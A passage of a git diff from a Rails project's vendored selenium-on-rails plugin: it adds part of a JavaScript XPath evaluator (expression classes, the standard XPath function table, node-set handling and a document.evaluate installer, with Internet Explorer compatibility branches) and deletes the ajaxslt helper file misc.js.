+    return t;
+};
+
+
+/**
+ * class: VariableRefernce
+ */
+if (!window.VariableReference && window.defaultConfig)
+    window.VariableReference = null;
+    
+VariableReference = function(name) {
+    this.name = name.substring(1);
+};
+
+
+VariableReference.parse = function(lexer) {
+    var token = lexer.next();
+    if (token.length < 2) {
+        throw Error('unnamed variable reference');
+    }
+    return new VariableReference(token)
+};
+
+VariableReference.prototype = new BaseExpr();
+
+VariableReference.prototype.datatype = 'void';
+
+VariableReference.prototype.show = function(indent) {
+    indent = indent || '';
+    var t = '';
+    t += indent + 'variable: ' + this.name + '\n';
+    return t;
+};
+
+
+/**
+ * class: Literal
+ */
+if (!window.Literal && window.defaultConfig)
+    window.Literal = null;
+
+Literal = function(text) {
+    this.text = text.substring(1, text.length - 1);
+};
+
+Literal.parse = function(lexer) {
+    var token = lexer.next();
+    if (token.length < 2) {
+        throw Error('unclosed literal string');
+    }
+    return new Literal(token)
+};
+
+Literal.prototype = new BaseExpr();
+
+Literal.prototype.datatype = 'string';
+
+Literal.prototype.evaluate = function(ctx) {
+    return this.text;
+};
+
+Literal.prototype.show = function(indent) {
+    indent = indent || '';
+    var t = '';
+    t += indent + 'literal: ' + this.text + '\n';
+    return t;
+};
+
+
+/**
+ * class: Number
+ */
+if (!window.Number && window.defaultConfig)
+    window.Number = null;
+
+Number = function(digit) {
+    this.digit = +digit;
+};
+
+
+Number.parse = function(lexer) {
+    return new Number(lexer.next());
+};
+
+Number.prototype = new BaseExpr();
+
+Number.prototype.datatype = 'number';
+
+Number.prototype.evaluate = function(ctx) {
+    return this.digit;
+};
+
+Number.prototype.show = function(indent) {
+    indent = indent || '';
+    var t = '';
+    t += indent + 'number: ' + this.digit + '\n';
+    return t;
+};
+
+
+/**
+ * class: FunctionCall
+ */
+if (!window.FunctionCall && window.defaultConfig)
+    window.FunctionCall = null;
+
+FunctionCall = function(name) {
+    var info = FunctionCall.funcs[name];
+    if (!info)
+        throw Error(name +' is not a function');
+
+    this.name = name;
+    this.func = info[0];
+    this.args = [];
+
+    this.datatype = info[1];
+
+    if (info[2]) {
+        this.needContextPosition = true;
+    }
+
+    this.needContextNodeInfo = info[3];
+    this.needContextNode = this.needContextNodeInfo[0]
+};
+
+FunctionCall.funcs = {
+
+    // Original Function
+    'context-node': [function() {
+        if (arguments.length != 0) {
+            throw Error('Function context-node expects ()');
+        }
+        var ns;
+        ns = new NodeSet();
+        ns.push(this.node);
+        return ns;
+    }, 'nodeset', false, [true]],
+
+    // Original Function
+    'root-node': [function() {
+        if (arguments.length != 0) {
+            throw Error('Function root-node expects ()');
+        }
+        var ns, ctxn;
+        ns = new NodeSet();
+        ctxn = this.node;
+        if (ctxn.nodeType == 9)
+            ns.push(ctxn);
+        else
+            ns.push(ctxn.ownerDocument);
+        return ns;
+    }, 'nodeset', false, []],
+
+    last: [function() {
+        if (arguments.length != 0) {
+            throw Error('Function last expects ()');
+        }
+        return this.last;
+    }, 'number', true, []],
+
+    position: [function() {
+        if (arguments.length != 0) {
+            throw Error('Function position expects ()');
+        }
+        return this.position;
+    }, 'number', true, []],
+
+    count: [function(ns) {
+        if (arguments.length != 1 || !(ns = ns.evaluate(this)).isNodeSet) {
+            throw Error('Function count expects (nodeset)');
+        }
+        return ns.length;
+    }, 'number', false, []],
+
+    id: [function(s) {
+        var ids, ns, i, id, elm, ctxn, doc;
+        if (arguments.length != 1) {
+            throw Error('Function id expects (object)');
+        }
+        ctxn = this.node;
+        if (ctxn.nodeType == 9)
+            doc = ctxn;
+        else
+            doc = ctxn.ownerDocument;
+/*@cc_on
+        all = doc.all;
+@*/
+        s = s.string(this);
+        ids = s.split(/\s+/);
+        ns = new NodeSet();
+        for (i = 0, l = ids.length; i < l; i ++) {
+            id = ids[i];
+
+/*@cc_on @if (@_jscript)
+            elm = all[id];
+            if (elm) {
+                if ((!elm.length || elm.nodeType) && id == elm.id) {
+                    ns.push(elm)
+                }
+                else if (elm.length) {
+                    var elms = elm;
+                    for (var j = 0, l0 = elms.length; j < l0; j ++) {
+                        var elem = elms[j];
+                        if (id == elem.id) {
+                            ns.push(elem);
+                            break;
+                        }
+                    }
+                }
+            }
+@else @*/
+            elm = doc.getElementById(id);
+            if (uai.opera && elm && elm.id != id) {
+                var elms = doc.getElementsByName(id);
+                for (var j = 0, l0 = elms.length; j < l0; j ++) {
+                    elm = elms[j];
+                    if (elm.id == id) {
+                        ns.push(elm);
+                    }
+                }
+            }
+            else {
+                if (elm) ns.push(elm)
+            }
+/*@end @*/
+
+        }
+        ns.isSorted = false;
+        return ns;
+    }, 'nodeset', false, []],
+
+    'local-name': [function(ns) {
+        var nd;
+        switch (arguments.length) {
+            case 0:
+                nd = this.node;
+                break;
+            case 1:
+                if ((ns = ns.evaluate(this)).isNodeSet) {
+                    nd = ns.first();
+                    break;
+                }
+            default:
+                throw Error('Function local-name expects (nodeset?)');
+                break;
+        }
+        return '' + nd.nodeName.toLowerCase();
+    }, 'string', false, [true, false]],
+
+    name: [function(ns) {
+        // not implemented
+        return FunctionCall.funcs['local-name'][0].apply(this, arguments);
+    }, 'string', false, [true, false]],
+
+    'namespace-uri': [function(ns) {
+        // not implemented
+        return '';
+    }, 'string', false, [true, false]],
+
+    string: [function(s) {
+        switch (arguments.length) {
+            case 0:
+                s = NodeUtil.to('string', this.node);
+                break;
+            case 1:
+                s = s.string(this);
+                break;
+            default:
+                throw Error('Function string expects (object?)');
+                break;
+        }
+        return s;
+    }, 'string', false, [true, false]],
+
+    concat: [function(s1, s2) {
+        if (arguments.length < 2) {
+            throw Error('Function concat expects (string, string[, ...])');
+        }
+        for (var t = '', i = 0, l = arguments.length; i < l; i ++) {
+            t += arguments[i].string(this);
+        }
+        return t;
+    }, 'string', false, []],
+
+    'starts-with': [function(s1, s2) {
+        if (arguments.length != 2) {
+            throw Error('Function starts-with expects (string, string)');
+        }
+        s1 = s1.string(this);
+        s2 = s2.string(this);
+        return s1.indexOf(s2) == 0;
+    }, 'boolean', false, []],
+
+    contains: [function(s1, s2) {
+        if (arguments.length != 2) {
+            throw Error('Function contains expects (string, string)');
+        }
+        s1 = s1.string(this);
+        s2 = s2.string(this);
+        return s1.indexOf(s2) != -1;
+    }, 'boolean', false, []],
+
+    substring: [function(s, n1, n2) {
+        var a1, a2;
+        s = s.string(this);
+        n1 = n1.number(this);
+        switch (arguments.length) {
+            case 2:
+                n2 = s.length - n1 + 1;
+                break;
+            case 3:
+                n2 = n2.number(this);
+                break;
+            default:
+                throw Error('Function substring expects (string, string)');
+                break;
+        }
+        n1 = Math.round(n1);
+        n2 = Math.round(n2);
+        a1 = n1 - 1;
+        a2 = n1 + n2 - 1;
+        if (a2 == Infinity) {
+            return s.substring(a1 < 0 ? 0 : a1);
+        }
+        else {
+            return s.substring(a1 < 0 ? 0 : a1, a2)
+        }
+    }, 'string', false, []],
+
+    'substring-before': [function(s1, s2) {
+        var n;
+        if (arguments.length != 2) {
+            throw Error('Function substring-before expects (string, string)');
+        }
+        s1 = s1.string(this);
+        s2 = s2.string(this);
+        n = s1.indexOf(s2);
+        if (n == -1) return '';
+        return s1.substring(0, n);
+    }, 'string', false, []],
+
+    'substring-after': [function(s1, s2) {
+        if (arguments.length != 2) {
+            throw Error('Function substring-after expects (string, string)');
+        }
+        s1 = s1.string(this);
+        s2 = s2.string(this);
+        var n = s1.indexOf(s2);
+        if (n == -1) return '';
+        return s1.substring(n + s2.length);
+    }, 'string', false, []],
+
+    'string-length': [function(s) {
+        switch (arguments.length) {
+            case 0:
+                s = NodeUtil.to('string', this.node);
+                break;
+            case 1:
+                s = s.string(this);
+                break;
+            default:
+                throw Error('Function string-length expects (string?)');
+                break;
+        }
+        return s.length;
+    }, 'number', false, [true, false]],
+
+    'normalize-space': [function(s) {
+        switch (arguments.length) {
+            case 0:
+                s = NodeUtil.to('string', this.node);
+                break;
+            case 1:
+                s = s.string(this);
+                break;
+            default:
+                throw Error('Function normalize-space expects (string?)');
+                break;
+        }
+        return s.replace(/\s+/g, ' ').replace(/^ /, '').replace(/ $/, '');
+    }, 'string', false, [true, false]],
+
+    translate: [function(s1, s2, s3) {
+        if (arguments.length != 3) {
+            throw Error('Function translate expects (string, string, string)');
+        }
+        s1 = s1.string(this);
+        s2 = s2.string(this);
+        s3 = s3.string(this);
+
+        var map = [];
+        for (var i = 0, l = s2.length; i < l; i ++) {
+            var ch = s2.charAt(i);
+            if (!map[ch]) map[ch] = s3.charAt(i) || '';
+        }
+        for (var t = '', i = 0, l = s1.length; i < l; i ++) {
+            var ch = s1.charAt(i);
+            var replace = map[ch]
+            t += (replace != undefined) ? replace : ch;
+        }
+        return t;
+    }, 'string', false, []],
+
+    'boolean': [function(b) {
+        if (arguments.length != 1) {
+            throw Error('Function boolean expects (object)');
+        }
+        return b.bool(this)
+    }, 'boolean', false, []],
+
+    not: [function(b) {
+        if (arguments.length != 1) {
+            throw Error('Function not expects (object)');
+        }
+        return !b.bool(this)
+    }, 'boolean', false, []],
+
+    'true': [function() {
+        if (arguments.length != 0) {
+            throw Error('Function true expects ()');
+        }
+        return true;
+    }, 'boolean', false, []],
+
+    'false': [function() {
+        if (arguments.length != 0) {
+            throw Error('Function false expects ()');
+        }
+        return false;
+    }, 'boolean', false, []],
+
+    lang: [function(s) {
+        // not implemented
+        return false;
+    }, 'boolean', false, []],
+
+    number: [function(n) {
+        switch (arguments.length) {
+            case 0:
+                n = NodeUtil.to('number', this.node);
+                break;
+            case 1:
+                n = n.number(this);
+                break;
+            default:
+                throw Error('Function number expects (object?)');
+                break;
+        }
+        return n;
+    }, 'number', false, [true, false]],
+
+    sum: [function(ns) {
+        var nodes, n, i, l;
+        if (arguments.length != 1 || !(ns = ns.evaluate(this)).isNodeSet) {
+            throw Error('Function sum expects (nodeset)');
+        }
+        nodes = ns.list();
+        n = 0;
+        for (i = 0, l = nodes.length; i < l; i ++) {
+            n += NodeUtil.to('number', nodes[i]);
+        }
+        return n;
+    }, 'number', false, []],
+
+    floor: [function(n) {
+        if (arguments.length != 1) {
+            throw Error('Function floor expects (number)');
+        }
+        n = n.number(this);
+        return Math.floor(n);
+    }, 'number', false, []],
+
+    ceiling: [function(n) {
+        if (arguments.length != 1) {
+            throw Error('Function ceiling expects (number)');
+        }
+        n = n.number(this);
+        return Math.ceil(n);
+    }, 'number', false, []],
+
+    round: [function(n) {
+        if (arguments.length != 1) {
+            throw Error('Function round expects (number)');
+        }
+        n = n.number(this);
+        return Math.round(n);
+    }, 'number', false, []]
+};
+
+FunctionCall.parse = function(lexer) {
+    var expr, func = new FunctionCall(lexer.next());
+    lexer.next();
+    while (lexer.peek() != ')') {
+        if (lexer.empty()) {
+            throw Error('missing function argument list');
+        }
+        expr = BinaryExpr.parse(lexer);
+        func.arg(expr);
+        if (lexer.peek() != ',') break;
+        lexer.next();
+    }
+    if (lexer.empty()) {
+        throw Error('unclosed function argument list');
+    }
+    if (lexer.next() != ')') {
+        lexer.back();
+        throw Error('bad token: ' + lexer.next());
+    }
+    return func
+};
+
+FunctionCall.prototype = new BaseExpr();
+
+FunctionCall.prototype.evaluate = function (ctx) {
+    return this.func.apply(ctx, this.args);
+};
+
+FunctionCall.prototype.arg = function(arg) {
+    this.args.push(arg);
+
+    if (arg.needContextPosition) {
+        this.needContextPosition = true;
+    }
+
+    var args = this.args;
+    if (arg.needContextNode) {
+        args.needContexNode = true;
+    }
+    this.needContextNode = args.needContextNode ||
+                            this.needContextNodeInfo[args.length];
+};
+
+FunctionCall.prototype.show = function(indent) {
+    indent = indent || '';
+    var t = '';
+    t += indent + 'function: ' + this.name + '\n';
+    indent += '    ';
+
+    if (this.args.length) {
+        t += indent + 'arguments: ' + '\n';
+        indent += '    ';
+        for (var i = 0; i < this.args.length; i ++) {
+            t += this.args[i].show(indent);
+        }
+    }
+
+    return t;
+};
+
+
+/*@cc_on @if (@_jscript)
+var NodeWrapper = function(node, sourceIndex, subIndex, attributeName) {
+    this.node = node;
+    this.nodeType = node.nodeType;
+    this.sourceIndex = sourceIndex;
+    this.subIndex = subIndex;
+    this.attributeName = attributeName || '';
+    this.order = String.fromCharCode(sourceIndex) + String.fromCharCode(subIndex) + attributeName;
+};
+
+NodeWrapper.prototype.toString = function() {
+    return this.order;
+};
+@else @*/
+var NodeID = {
+    uuid: 1,
+    get: function(node) {
+        return node.__jsxpath_id__ || (node.__jsxpath_id__ = this.uuid++);
+    }
+};
+/*@end @*/
+
+if (!window.NodeSet && window.defaultConfig)
+    window.NodeSet = null;
+    
+NodeSet = function() {
+    this.length = 0;
+    this.nodes = [];
+    this.seen = {};
+    this.idIndexMap = null;
+    this.reserveDels = [];
+};
+
+NodeSet.prototype.isNodeSet = true;
+NodeSet.prototype.isSorted = true;
+
+/*@_cc_on
+NodeSet.prototype.shortcut = true;
+@*/
+
+NodeSet.prototype.merge = function(nodeset) {
+    this.isSorted = false;
+    if (nodeset.only) {
+        return this.push(nodeset.only);
+    }
+
+    if (this.only){
+        var only = this.only;
+        delete this.only;
+        this.push(only);
+        this.length --;
+    }
+
+    var nodes = nodeset.nodes;
+    for (var i = 0, l = nodes.length; i < l; i ++) {
+        this._add(nodes[i]);
+    }
+};
+
+NodeSet.prototype.sort = function() {
+    if (this.only) return;
+    if (this.sortOff) return;
+
+    if (!this.isSorted) {
+        this.isSorted = true;
+        this.idIndexMap = null;
+
+/*@cc_on
+        if (this.shortcut) {
+            this.nodes.sort();
+        }
+        else {
+            this.nodes.sort(function(a, b) {
+                var result;
+                result = a.sourceIndex - b.sourceIndex;
+                if (result == 0)
+                    return a.subIndex - a.subIndex;
+                else
+                    return result;
+            });
+        }
+        return;
+@*/
+        var nodes = this.nodes;
+        nodes.sort(function(a, b) {
+            if (a == b) return 0;
+
+            if (a.compareDocumentPosition) {
+                var result = a.compareDocumentPosition(b);
+                if (result & 2) return 1;
+                if (result & 4) return -1;
+                return 0;
+            }
+            else {
+                var node1 = a, node2 = b, ancestor1 = a, ancestor2 = b, deep1 = 0, deep2 = 0;
+
+                while(ancestor1 = ancestor1.parentNode) deep1 ++;
+                while(ancestor2 = ancestor2.parentNode) deep2 ++;
+
+                // same deep
+                if (deep1 > deep2) {
+                    while (deep1-- != deep2) node1 = node1.parentNode;
+                    if (node1 == node2) return 1;
+                }
+                else if (deep2 > deep1) {
+                    while (deep2-- != deep1) node2 = node2.parentNode;
+                    if (node1 == node2) return -1;
+                }
+
+                while ((ancestor1 = node1.parentNode) != (ancestor2 = node2.parentNode)) {
+                    node1 = ancestor1;
+                    node2 = ancestor2;
+                }
+
+                // node1 is node2's sibling
+                while (node1 = node1.nextSibling) if (node1 == node2) return -1;
+
+                return 1;
+            }
+        });
+    }
+};
+
+
+/*@cc_on @if (@_jscript)
+NodeSet.prototype.sourceOffset = 1;
+NodeSet.prototype.subOffset = 2;
+NodeSet.prototype.createWrapper = function(node) {
+    var parent, child, attributes, attributesLength, sourceIndex, subIndex, attributeName;
+
+    sourceIndex = node.sourceIndex;
+
+    if (typeof sourceIndex != 'number') {
+        type = node.nodeType;
+        switch (type) {
+            case 2:
+                parent = node.parentNode;
+                sourceIndex = node.parentSourceIndex;
+                subIndex = -1;
+                attributeName = node.nodeName;
+                break;
+            case 9:
+                subIndex = -2;
+                sourceIndex = -1;
+                break;
+            default:
+                child = node;
+                subIndex = 0;
+                do {
+                    subIndex ++;
+                    sourceIndex = child.sourceIndex;
+                    if (sourceIndex) {
+                        parent = child;
+                        child = child.lastChild;
+                        if (!child) {
+                            child = parent;
+                            break;
+                        }
+                        subIndex ++;
+                    }
+                } while (child = child.previousSibling);
+                if (!sourceIndex) {
+                    sourceIndex = node.parentNode.sourceIndex;
+                }
+                break;
+        }
+    }
+    else {
+        subIndex = -2;
+    }
+
+    sourceIndex += this.sourceOffset;
+    subIndex += this.subOffset;
+
+    return new NodeWrapper(node, sourceIndex, subIndex, attributeName);
+};
+
+NodeSet.prototype.reserveDelBySourceIndexAndSubIndex = function(sourceIndex, subIndex, offset, reverse) {
+    var map = this.createIdIndexMap();
+    var index;
+    if ((map = map[sourceIndex]) && (index = map[subIndex])) {
+        if (reverse && (this.length - offset - 1) > index || !reverse && offset < index) {
+            var obj = {
+                value: index,
+                order: String.fromCharCode(index),
+                toString: function() { return this.order },
+                valueOf: function() { return this.value }
+            };
+            this.reserveDels.push(obj);
+        }
+    }
+};
+@else @*/
+NodeSet.prototype.reserveDelByNodeID = function(id, offset, reverse) {
+    var map = this.createIdIndexMap();
+    var index;
+    if (index = map[id]) {
+        if (reverse && (this.length - offset - 1) > index || !reverse && offset < index) {
+            var obj = {
+                value: index,
+                order: String.fromCharCode(index),
+                toString: function() { return this.order },
+                valueOf: function() { return this.value }
+            };
+            this.reserveDels.push(obj);
+        }
+    }
+};
+/*@end @*/
+
+NodeSet.prototype.reserveDelByNode = function(node, offset, reverse) {
+/*@cc_on @if (@_jscript)
+    node = this.createWrapper(node);
+    this.reserveDelBySourceIndexAndSubIndex(node.sourceIndex, node.subIndex, offset, reverse);
+@else @*/
+    this.reserveDelByNodeID(NodeID.get(node), offset, reverse);
+/*@end @*/
+};
+
+NodeSet.prototype.doDel = function() {
+    if (!this.reserveDels.length) return;
+
+    if (this.length < 0x10000) {
+        var dels = this.reserveDels.sort(function(a, b) { return b - a });
+    }
+    else {
+        var dels = this.reserveDels.sort(function(a, b) { return b - a });
+    }
+    for (var i = 0, l = dels.length; i < l; i ++) {
+        this.del(dels[i]);
+    }
+    this.reserveDels = [];
+    this.idIndexMap = null;
+};
+
+NodeSet.prototype.createIdIndexMap = function() {
+    if (this.idIndexMap) {
+        return this.idIndexMap;
+    }
+    else {
+        var map = this.idIndexMap = {};
+        var nodes = this.nodes;
+        for (var i = 0, l = nodes.length; i < l; i ++) {
+            var node = nodes[i];
+/*@cc_on @if (@_jscript)
+            var sourceIndex = node.sourceIndex;
+            var subIndex = node.subIndex;
+            if (!map[sourceIndex]) map[sourceIndex] = {};
+            map[sourceIndex][subIndex] = i;
+@else @*/
+            var id = NodeID.get(node);
+            map[id] = i;
+/*@end @*/
+        }
+        return map;
+    }
+};
+
+NodeSet.prototype.del = function(index) {
+    this.length --;
+    if (this.only) {
+        delete this.only;
+    }
+    else {  
+        var node = this.nodes.splice(index, 1)[0];
+
+        if (this._first == node) {
+            delete this._first;
+            delete this._firstSourceIndex;
+            delete this._firstSubIndex;
+        }
+
+/*@cc_on @if (@_jscript)
+        delete this.seen[node.sourceIndex][node.subIndex];
+@else @*/
+        delete this.seen[NodeID.get(node)];
+/*@end @*/
+    }
+};
+
+
+NodeSet.prototype.delDescendant = function(elm, offset) {
+    if (this.only) return;
+    var nodeType = elm.nodeType;
+    if (nodeType != 1 && nodeType != 9) return;
+    if (uai.applewebkit2) return;
+
+    // element || document
+    if (!elm.contains) {
+        if (nodeType == 1) {
+            var _elm = elm;
+            elm = {
+                contains: function(node) {
+                    return node.compareDocumentPosition(_elm) & 8;
+                }
+            };
+        }
+        else {
+            // document
+            elm = {
+                contains: function() {
+                    return true;
+                }
+            };
+        }
+    }
+
+    var nodes = this.nodes;
+    for (var i = offset + 1; i < nodes.length; i ++) {
+
+/*@cc_on @if (@_jscript)
+        if (nodes[i].node.nodeType == 1 && elm.contains(nodes[i].node)) {
+@else @*/
+        if (elm.contains(nodes[i])) {
+/*@end @*/
+            this.del(i);
+            i --;
+        }
+    }
+};
+
+NodeSet.prototype._add = function(node, reverse) {
+
+/*@cc_on @if (@_jscript)
+
+    var first, firstSourceIndex, firstSubIndex, sourceIndex, subIndex, attributeName;
+
+    sourceIndex = node.sourceIndex;
+    subIndex = node.subIndex;
+    attributeName = node.attributeName;
+    seen = this.seen;
+
+    seen = seen[sourceIndex] || (seen[sourceIndex] = {});
+
+    if (node.nodeType == 2) {
+        seen = seen[subIndex] || (seen[subIndex] = {});
+        if (seen[attributeName]) {
+            return true;
+        }
+        seen[attributeName] = true;
+    }
+    else {
+        if (seen[subIndex]) {
+            return true;
+        }
+        seen[subIndex] = true;
+    }
+
+    if (sourceIndex >= 0x10000 || subIndex >= 0x10000) {
+        this.shortcut = false;
+    }
+
+    // if this._first is undefined and this.nodes is not empty
+    // then first node shortcut is disabled.
+    if (this._first || this.nodes.length == 0) {
+        first = this._first;
+        firstSourceIndex = this._firstSourceIndex;
+        firstSubIndex = this._firstSubIndex;
+        if (!first || firstSourceIndex > sourceIndex || (firstSourceIndex == sourceIndex && firstSubIndex > subIndex)) {
+            this._first = node;
+            this._firstSourceIndex = sourceIndex;
+            this._firstSubIndex = subIndex
+        }
+    }
+
+@else @*/
+
+    var seen = this.seen;
+    var id = NodeID.get(node);
+    if (seen[id]) return true;
+    seen[id] = true;
+
+/*@end @*/
+
+    this.length++;
+    if (reverse) 
+        this.nodes.unshift(node);
+    else
+        this.nodes.push(node);
+};
+
+
+NodeSet.prototype.unshift = function(node) {
+    if (!this.length) {
+        this.length ++;
+        this.only = node;
+        return
+    }
+    if (this.only){
+        var only = this.only;
+        delete this.only;
+        this.unshift(only);
+        this.length --;
+    }
+/*@cc_on
+    node = this.createWrapper(node);
+@*/
+    return this._add(node, true);
+};
+
+
+NodeSet.prototype.push = function(node) {
+    if (!this.length) {
+        this.length ++;
+        this.only = node;
+        return;
+    }
+    if (this.only) {
+        var only = this.only;
+        delete this.only;
+        this.push(only);
+        this.length --;
+    }
+/*@cc_on
+    node = this.createWrapper(node);
+@*/
+    return this._add(node);
+};
+
+NodeSet.prototype.first = function() {
+    if (this.only) return this.only;
+/*@cc_on
+    if (this._first) return this._first.node;
+    if (this.nodes.length > 1) this.sort();
+    var node = this.nodes[0];
+    return node ? node.node : undefined;
+@*/
+    if (this.nodes.length > 1) this.sort();
+    return this.nodes[0];
+};
+
+NodeSet.prototype.list = function() {
+    if (this.only) return [this.only];
+    this.sort();
+/*@cc_on
+    var i, l, nodes, results;
+    nodes = this.nodes;
+    results = [];
+    for (i = 0, l = nodes.length; i < l; i ++) {
+        results.push(nodes[i].node);
+    }
+    return results;
+@*/
+    return this.nodes;
+};
+
+NodeSet.prototype.string = function() {
+    var node = this.only || this.first();
+    return node ? NodeUtil.to('string', node) : '';
+};
+
+NodeSet.prototype.bool = function() {
+    return !! (this.length || this.only);
+};
+
+NodeSet.prototype.number = function() {
+    return + this.string();
+};
+
+NodeSet.prototype.iterator = function(reverse) {
+    this.sort();
+    var nodeset = this;
+
+    if (!reverse) {
+        var count = 0;
+        return function() {
+            if (nodeset.only && count++ == 0) return nodeset.only;
+/*@cc_on @if(@_jscript)
+            var wrapper = nodeset.nodes[count++];
+            if (wrapper) return wrapper.node;
+            return undefined;
+@else @*/
+            return nodeset.nodes[count++];
+/*@end @*/
+        };
+    }
+    else {
+        var count = 0;
+        return function() {
+            var index = nodeset.length - (count++) - 1;
+            if (nodeset.only && index == 0) return nodeset.only;
+/*@cc_on @if(@_jscript)
+            var wrapper = nodeset.nodes[index];
+            if (wrapper) return wrapper.node;
+            return undefined;
+@else @*/
+            return nodeset.nodes[index];
+/*@end @*/
+        };
+    }
+};
+
+
+var install = function(win) {
+
+    win = win || this;
+    var doc = win.document;
+    var undefined = win.undefined;
+
+    win.XPathExpression = function(expr) {
+        if (!expr.length) {
+            throw win.Error('no expression');
+        }
+        var lexer = this.lexer = Lexer(expr);
+        if (lexer.empty()) {
+            throw win.Error('no expression');
+        }
+        this.expr = BinaryExpr.parse(lexer);
+        if (!lexer.empty()) {
+            throw win.Error('bad token: ' + lexer.next());
+        }
+    };
+    
+    win.XPathExpression.prototype.evaluate = function(node, type) {
+        return new win.XPathResult(this.expr.evaluate(new Ctx(node)), type);
+    };
+    
+    win.XPathResult = function (value, type) {
+        if (type == 0) {
+            switch (typeof value) {
+                case 'object':  type ++; // 4
+                case 'boolean': type ++; // 3
+                case 'string':  type ++; // 2
+                case 'number':  type ++; // 1
+            }
+        }
+    
+        this.resultType = type;
+    
+        switch (type) {
+            case 1:
+                this.numberValue = value.isNodeSet ? value.number() : +value;
+                return;
+            case 2:
+                this.stringValue = value.isNodeSet ? value.string() : '' + value;
+                return;
+            case 3:
+                this.booleanValue = value.isNodeSet ? value.bool() : !! value;
+                return;
+            case 4: case 5: case 6: case 7:
+                this.nodes = value.list();
+                this.snapshotLength = value.length;
+                this.index = 0;
+                this.invalidIteratorState = false;
+                break;
+            case 8: case 9:
+                this.singleNodeValue = value.first();
+                return;
+        }
+    };
+    
+    win.XPathResult.prototype.iterateNext = function() { return this.nodes[this.index++] };
+    win.XPathResult.prototype.snapshotItem = function(i) { return this.nodes[i] };
+    
+    win.XPathResult.ANY_TYPE = 0;
+    win.XPathResult.NUMBER_TYPE = 1;
+    win.XPathResult.STRING_TYPE = 2;
+    win.XPathResult.BOOLEAN_TYPE = 3;
+    win.XPathResult.UNORDERED_NODE_ITERATOR_TYPE = 4;
+    win.XPathResult.ORDERED_NODE_ITERATOR_TYPE = 5;
+    win.XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE = 6;
+    win.XPathResult.ORDERED_NODE_SNAPSHOT_TYPE = 7;
+    win.XPathResult.ANY_UNORDERED_NODE_TYPE = 8;
+    win.XPathResult.FIRST_ORDERED_NODE_TYPE = 9;
+    
+    
+    doc.createExpression = function(expr) {
+        return new win.XPathExpression(expr, null);
+    };
+    
+    doc.evaluate = function(expr, context, _, type) {
+        return doc.createExpression(expr, null).evaluate(context, type);
+    };
+};
+
+var win;
+
+if (config.targetFrame) {
+    var frame = document.getElementById(config.targetFrame);
+    if (frame) win = frame.contentWindow;
+}
+
+if (config.exportInstaller) {
+    window.install = install;
+}
+
+if (!config.hasNative || !config.useNative) {
+    install(win || window);
+}
+
+
+})();
+
+// Thanks for reading this source code. We love JavaScript.
+
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/xpath/misc.js b/vendor/plugins/selenium-on-rails/selenium-core/xpath/misc.js
deleted file mode 100644
index b9573a22..00000000
--- a/vendor/plugins/selenium-on-rails/selenium-core/xpath/misc.js
+++ /dev/null
@@ -1,255 +0,0 @@
-// Copyright 2005 Google Inc.
-// All Rights Reserved
-//
-// Miscellania that support the ajaxslt implementation.
-//
-// Author: Steffen Meschkat <mesch@google.com>
-//
-
-function el(i) {
-  return document.getElementById(i);
-}
-
-function px(x) {
-  return x + 'px';
-}
-
-// Split a string s at all occurrences of character c. This is like
-// the split() method of the string object, but IE omits empty
-// strings, which violates the invariant (s.split(x).join(x) == s).
-function stringSplit(s, c) {
-  var a = s.indexOf(c);
-  if (a == -1) {
-    return [ s ];
-  }
-  
-  var parts = [];
-  parts.push(s.substr(0,a));
-  while (a != -1) {
-    var a1 = s.indexOf(c, a + 1);
-    if (a1 != -1) {
-      parts.push(s.substr(a + 1, a1 - a - 1));
-    } else {
-      parts.push(s.substr(a + 1));
-    } 
-    a = a1;
-  }
-
-  return parts;
-}
-
-// Returns the text value if a node; for nodes without children this
-// is the nodeValue, for nodes with children this is the concatenation
-// of the value of all children.
-function xmlValue(node) {
-  if (!node) {
-    return '';
-  }
-
-  var ret = '';
-  if (node.nodeType == DOM_TEXT_NODE ||
-      node.nodeType == DOM_CDATA_SECTION_NODE ||
-      node.nodeType == DOM_ATTRIBUTE_NODE) {
-    ret += node.nodeValue;
-
-  } else if (node.nodeType == DOM_ELEMENT_NODE ||
-             node.nodeType == DOM_DOCUMENT_NODE ||
-             node.nodeType == DOM_DOCUMENT_FRAGMENT_NODE) {
-    for (var i = 0; i < node.childNodes.length; ++i) {
-      ret += arguments.callee(node.childNodes[i]);
-    }
-  }
-  return ret;
-}
-
-// Returns the representation of a node as XML text.
-function xmlText(node) {
-  var ret = '';
-  if (node.nodeType == DOM_TEXT_NODE) {
-    ret += xmlEscapeText(node.nodeValue);
-    
-  } else if (node.nodeType == DOM_ELEMENT_NODE) {
-    ret += '<' + node.nodeName;
-    for (var i = 0; i < node.attributes.length; ++i) {
-      var a = node.attributes[i];
-      if (a && a.nodeName && a.nodeValue) {
-        ret += ' ' + a.nodeName;
-        ret += '="' + xmlEscapeAttr(a.nodeValue) + '"';
-      }
-    }
-
-    if (node.childNodes.length == 0) {
-      ret += '/>';
-
-    } else {
-      ret += '>';
-      for (var i = 0; i < node.childNodes.length; ++i) {
-        ret += arguments.callee(node.childNodes[i]);
-      }
-      ret += '</' + node.nodeName + '>';
-    }
-    
-  } else if (node.nodeType == DOM_DOCUMENT_NODE || 
-             node.nodeType == DOM_DOCUMENT_FRAGMENT_NODE) {
-    for (var i = 0; i < node.childNodes.length; ++i) {
-      ret += arguments.callee(node.childNodes[i]);
-    }
-  }
-  
-  return ret;
-}
-
-// Applies the given function to each element of the array.
-function mapExec(array, func) {
-  for (var i = 0; i < array.length; ++i) {
-    func(array[i]);
-  }
-}
-
-// Returns an array that contains the return value of the given
-// function applied to every element of the input array.
-function mapExpr(array, func) {
-  var ret = [];
-  for (var i = 0; i < array.length; ++i) {
-    ret.push(func(array[i]));
-  }
-  return ret;
-};
-
-// Reverses the given array in place.
-function reverseInplace(array) {
-  for (var i = 0; i < array.length / 2; ++i) {
-    var h = array[i];
-    var ii = array.length - i - 1;
-    array[i] = array[ii];
-    array[ii] = h;
-  }
-}
-
-// Shallow-copies an array.
-function copyArray(dst, src) { 
-  for (var i = 0; i < src.length; ++i) {
-    dst.push(src[i]);
-  }
-}
-
-function assert(b) {
-  if (!b) {
-    throw 'assertion failed';
-  }
-}
-
-// Based on
-// <http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1950641247>
-var DOM_ELEMENT_NODE = 1;
-var DOM_ATTRIBUTE_NODE = 2;
-var DOM_TEXT_NODE = 3;
-var DOM_CDATA_SECTION_NODE = 4;
-var DOM_ENTITY_REFERENCE_NODE = 5;
-var DOM_ENTITY_NODE = 6;
